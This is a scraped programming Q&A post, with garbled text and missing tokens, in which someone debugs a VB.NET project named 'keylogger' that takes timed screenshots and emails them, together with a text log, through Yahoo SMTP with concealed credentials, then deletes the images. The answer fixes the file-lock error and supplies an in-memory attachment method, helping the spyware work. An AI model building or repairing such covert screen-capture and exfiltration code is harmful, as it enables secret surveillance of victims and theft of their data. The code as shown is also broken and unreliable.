IOException was unhandled vb.net -
when run program, encounter error
the process cannot access file 'c:\users\user\documents\visual studio 2010\projects\keylogger\windowsapplication1\bin\debug\pic\img1.png' because being used process. this error dim attach new attachment(application.startuppath & "\pic\" & "\img" & & ".png")
can me it? in advance!
here full code:
private j integer = 1 public function takeimage() return takeimage(0, 0, screen.primaryscreen.workingarea.width, screen.primaryscreen.workingarea.height) end function public function takeimage(byval x integer, byval y integer, byval width integer, byval height integer) dim img new bitmap(width, height) dim g graphics = graphics.fromimage(img) g.copyfromscreen(x, y, 0, 0, img.size) g.dispose() return img end function private sub tmremail_tick(byval sender system.object, byval e system.eventargs) handles tmremail.tick dim integer dim smtpserver new smtpclient smtpserver.enablessl = true dim mail new mailmessage smtpserver.credentials = new net.networkcredential("********", "********") smtpserver.port = 587 smtpserver.host = "smtp.mail.yahoo.com" mail = new mailmessage mail.from = new mailaddress("********") mail.to.add("*********") mail.subject = ("parham") mail.body = txtlogs.text = 1 3 using fs filestream = new filestream(application.startuppath & "\pic\" & "\img" & & ".png", filemode.open) dim attach new attachment(application.startuppath & "\pic\" & "\img" & & ".png") mail.attachments.add(attach) smtpserver.send(mail) if file.exists(application.startuppath & "\pic\" & "\img" & j & ".png") file.delete(application.startuppath & "\pic\" & "\img" & j & ".png") end if end using next end sub private sub form1_load(byval sender system.object, byval e system.eventargs) handles mybase.load if not directory.exists(application.startuppath & "\pic\") directory.createdirectory(application.startuppath & "\pic\") end if end sub private sub tmrscrshot_tick(byval sender system.object, byval e system.eventargs) handles tmrscrshot.tick dim picture image = takeimage() using picture picture.save(application.startuppath & "\pic\" & "\img" & j & ".png", system.drawing.imaging.imageformat.png) end using j += 1 if j > 3 j = new integer j = 1 end if end sub
you should first set option strict on, fix warnings , errors shown , edit post actual code.
the cause of exception timing problem between tmremail timer object , tmrscrshot timer object.
edit:
this method takes image object saved memory stream used create system.net.mail.attachment
private function toattachment(img image) system.net.mail.attachment dim attachment system.net.mail.attachment using ms new system.io.memorystream() img.save(ms, system.drawing.imaging.imageformat.png) attachment = new system.net.mail.attachment(new system.io.memorystream(ms.getbuffer), "image.png", "image/png") end using return attachment end function
Comments
Post a Comment